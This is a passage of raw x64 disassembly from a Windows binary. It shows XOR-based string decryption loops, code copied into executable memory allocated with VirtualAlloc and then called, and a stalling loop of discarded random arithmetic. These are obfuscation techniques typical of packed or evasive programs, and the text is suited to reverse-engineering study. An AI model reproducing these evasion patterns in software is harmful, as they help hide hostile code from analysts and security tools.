lea rcx, [rsp + 0x6ac]
nop dword [rax + rax]
movd xmm4, edx
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xb20]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [rdx + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xb20]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x14022e9e0
jmp 0x14022ebbc
lea r10, [rsp + 0x6a8]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, 0x1f
add r8b, r8b
mov eax, 0x323e34a3
mul r9d
mov eax, r9d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 6
movsx eax, al
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x38
jl 0x14022eb70
xorps xmm0, xmm0
movups xmmword [rsp + 0x4e8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x4f8], xmm1
lea rax, [rsp + 0x6a8]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14022ebe0
lea rdx, [rsp + 0x6a8]
lea rcx, [rsp + 0x4e8]
call fcn.140206910
nop
lea rcx, [rsp + 0x4e8]
call fcn.1401f8400
nop
lea rcx, [rsp + 0x4e8]
call fcn.140236770
movups xmm4, xmmword [str.___._nar]
movups xmmword [rsp + 0xc0], xmm4
movzx eax, word [0x14026c228]
mov word [rsp + 0xd0], ax
cmp byte [0x14026c229], 0
je 0x14022ef81
mov r9d, edi
cmp ebx, 2
jl 0x14022ef22
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
movdqa xmm1, xmm10
punpckhdq xmm1, xmm10
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd ecx, xmm9
movd xmm0, ecx
paddb xmm2, xmm0
movd eax, xmm4
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0xc0], xmm2
movdqa xmm4, xmmword [0x14026e1b0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0xc4]
xorps xmm2, xmm1
movd dword [rsp + 0xc4], xmm2
movdqa xmm4, xmmword [0x14026e1d0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0xc8]
xorps xmm2, xmm1
movd dword [rsp + 0xc8], xmm2
movdqa xmm4, xmmword [0x14026e1f0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0xcc]
xorps xmm2, xmm1
movd dword [rsp + 0xcc], xmm2
mov r9d, 0x10
mov eax, r9d
lea r10, [rsp + 0xc0]
add r10, rax
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, 0x1f
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x12
jl 0x14022ef30
xorps xmm0, xmm0
movups xmmword [rsp + 0x270], xmm0
mov qword [rsp + 0x280], rdi
mov qword [rsp + 0x288], rdi
lea rax, [rsp + 0xc0]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14022efb0
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x270]
call fcn.140206910
lea rcx, [rsp + 0x270]
call fcn.1401fa260
lea rbx, [0x14020d200]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa68]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xb20], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x140283a60]
test rax, rax
je 0x14022f059
mov rdx, rdi
cmp rax, r12
je 0x14022f048
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x283a60]
test rax, rax
jne 0x14022f030
jmp 0x14022f059
mov rdx, qword [rsi + rdx*8 + 0x2853c0]
test rdx, rdx
jne 0x14022f13f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x14022f082
mov rdx, rdi
jmp 0x14022f11e
mov rax, r12
mov rcx, rdx
mov r8, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x14022f090
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140284728]
mov qword [rsi + rax*8 + 0x283a60], r12
mov qword [rsi + rax*8 + 0x2853c0], rdx
inc rax
mov qword [0x140284728], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0xb20]
xor rax, r14
mov qword [rsp + 0xb40], rax
lea rcx, [rsp + 0xaa68]
mov qword [rcx], rax
movups xmm0, xmmword [0x14026d150]
movups xmmword [rsp + 0x8a0], xmm0
movups xmm1, xmmword [0x14026d160]
movups xmmword [rsp + 0x8b0], xmm1
movups xmm0, xmmword [0x14026d170]
movups xmmword [rsp + 0x8c0], xmm0
movups xmm1, xmmword [0x14026d180]
movups xmmword [rsp + 0x8d0], xmm1
movups xmm0, xmmword [0x14026d190]
movups xmmword [rsp + 0x8e0], xmm0
movups xmm1, xmmword [0x14026d1a0]
movups xmmword [rsp + 0x8f0], xmm1
movups xmm0, xmmword [0x14026d1b0]
movups xmmword [rsp + 0x900], xmm0
movups xmm1, xmmword [0x14026d1c0]
movups xmmword [rsp + 0x910], xmm1
movsd xmm0, qword [0x14026d1d0]
movsd qword [rsp + 0x920], xmm0
movzx eax, byte [0x14026d1d8]
mov byte [rsp + 0x928], al
mov r9d, edi
cmp dword [0x14027e090], 2
jl 0x14022f3a9
movdqa xmmword [rsp + 0xb20], xmm9
lea rcx, [rsp + 0x8a4]
nop dword [rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xb20]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xb20]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x88
jl 0x14022f220
cmp r9d, 0x89
jge 0x14022f414
movsxd rax, r9d
lea r10, [rsp + 0x8a0]
add r10, rax
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, 0x1f
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x89
jl 0x14022f3c0
lea rax, [rsp + 0x8a0]
mov qword [rsp + 0x1b0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa68]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xb20], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov edx, edi
mov rcx, qword [0x140282440]
test rcx, rcx
je 0x14022f4a2
mov r8, rdi
lea rax, [0x1402385c0]
cmp rcx, rax
je 0x14022f491
inc edx
mov r8d, edx
mov rcx, qword [rsi + rdx*8 + 0x282440]
test rcx, rcx
jne 0x14022f478
jmp 0x14022f4a2
mov r8, qword [rsi + r8*8 + 0x281df0]
test r8, r8
jne 0x14022f58f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea rdx, [0x1402385c0]
test rax, rax
jne 0x14022f4d2
mov r8, rdi
jmp 0x14022f56e
mov rax, rdx
mov rcx, r8
mov r9, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r9, 1
jne 0x14022f4e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140281ab0]
mov qword [rsi + rax*8 + 0x282440], rdx
mov qword [rsi + rax*8 + 0x281df0], r8
inc rax
mov qword [0x140281ab0], rax
lea rdx, [rsp + 0x1b0]
lea rcx, [fcn.1401f40e0]
call r8
nop
mov rax, qword [rsp + 0xb20]
xor rax, r14
mov qword [rsp + 0xb40], rax
lea rcx, [rsp + 0xaa68]
mov qword [rcx], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0xa9c4], 0xffffffff
mov dword [rsp + 0x9644], eax
mov edx, 1
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x9644], eax
inc rdx
cmp rdx, 0x270
jb 0x14022f5e0
mov dword [rsp + 0x9640], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0xb20]
call fcn.1401f17b0
mov r14, qword [rsp + 0xb20]
add r14, 0x5f5e100
mov ebx, 1
lea rcx, [rsp + 0x730]
call fcn.1401f17b0
cmp qword [rax], r14
jge 0x14022f7be
mov r15d, 0x186a0
nop
lea rcx, [rsp + 0x9640]
call fcn.140247dd0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14022f68b
nop dword [rax + rax]
lea rcx, [rsp + 0x9640]
call fcn.140247dd0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14022f670
shr rax, 0x20
add eax, 0x7fffff9c
xor eax, 0x80000000
cmove eax, ebx
mov dword [rsp + 0xb20], eax
lea rcx, [rsp + 0x9640]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022f6db
nop
lea rcx, [rsp + 0x9640]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022f6c0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x9640]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022f72b
nop
lea rcx, [rsp + 0x9640]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022f710
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x9640]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14022f77b
nop
lea rcx, [rsp + 0x9640]
call fcn.140247dd0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14022f760
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
mov ecx, dword [rsp + 0xb20]
idiv ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ecx
mov dword [rsp + 0x40], edx
sub r15, rbx
jne 0x14022f650
jmp 0x14022f632
mov eax, dword [rsp + 0x40]
movups xmm0, xmmword [0x14026b0e0]
movups xmmword [rsp + 0x6e0], xmm0
movups xmm1, xmmword [0x14026b0f0]
movups xmmword [rsp + 0x6f0], xmm1
movups xmm0, xmmword [0x14026b100]
movups xmmword [rsp + 0x700], xmm0
movups xmm1, xmmword [0x14026b110]
movups xmmword [rsp + 0x710], xmm1
movsd xmm0, qword [0x14026b120]
movsd qword [rsp + 0x720], xmm0
movzx eax, word [0x14026b128]
mov word [rsp + 0x728], ax
mov r9d, edi
cmp dword [0x14027e090], 2
movabs r14, 0xff00ff00ff00ff00
mov r15, 0xffffffffffffffff
jl 0x14022f9d4
movdqa xmmword [rsp + 0xb20], xmm9
lea rcx, [rsp + 0x6e4]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xb20]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0xb20]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x48
jl 0x14022f851
cmp r9d, 0x4a
jge 0x14022fa41
movsxd rax, r9d
lea r10, [rsp + 0x6e0]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, 0x1f
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x4a
jl 0x14022f9f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x310], xmm0
mov qword [rsp + 0x320], rdi
mov qword [rsp + 0x328], rdi
lea rax, [rsp + 0x6e0]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14022fa70
lea rdx, [rsp + 0x6e0]
lea rcx, [rsp + 0x310]
call fcn.140206910
lea rcx, [rsp + 0x310]
call fcn.1401fa260
lea rbx, [0x1402126a0]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb40], xmm0
lea rcx, [rsp + 0xaa68]
mov qword [rsp + 0xb48], r14
mov qword [rsp + 0xb50], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xb20], rax
mov qword [rsp + 0xb40], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x140283a60]
test rax, rax
je 0x14022fb19
mov rdx, rdi
cmp rax, r12
je 0x14022fb08
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x283a60]
test rax, rax
jne 0x14022faf0
jmp 0x14022fb19
mov rdx, qword [rsi + rdx*8 + 0x2853c0]
test rdx, rdx
jne 0x14022fbff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x14022fb42
mov rdx, rdi
jmp 0x14022fbde
mov rax, r12
mov rcx, rdx
mov r8, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x14022fb50
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140284728]
mov qword [rsi + rax*8 + 0x283a60], r12
mov qword [rsi + rax*8 + 0x2853c0], rdx
inc rax
mov qword [0x140284728], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0xb20]
xor rax, r14
lea rcx, [rsp + 0xaa68]
mov qword [rcx], rax
movups xmm0, xmmword [str.m_6_f_f__p5__68]
movups xmmword [rsp + 0x450], xmm0
movups xmm1, xmmword [0x14026c030]
movups xmmword [rsp + 0x460], xmm1
movups xmm0, xmmword [0x14026c040]
movups xmmword [rsp + 0x470], xmm0
movzx eax, byte [0x14026c050]
mov byte [rsp + 0x480], al
mov r9d, edi
cmp dword [0x14027e090], 2
jl 0x14022fe03
movdqa xmmword [rsp + 0xb20], xmm9
lea rcx, [rsp + 0x454]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
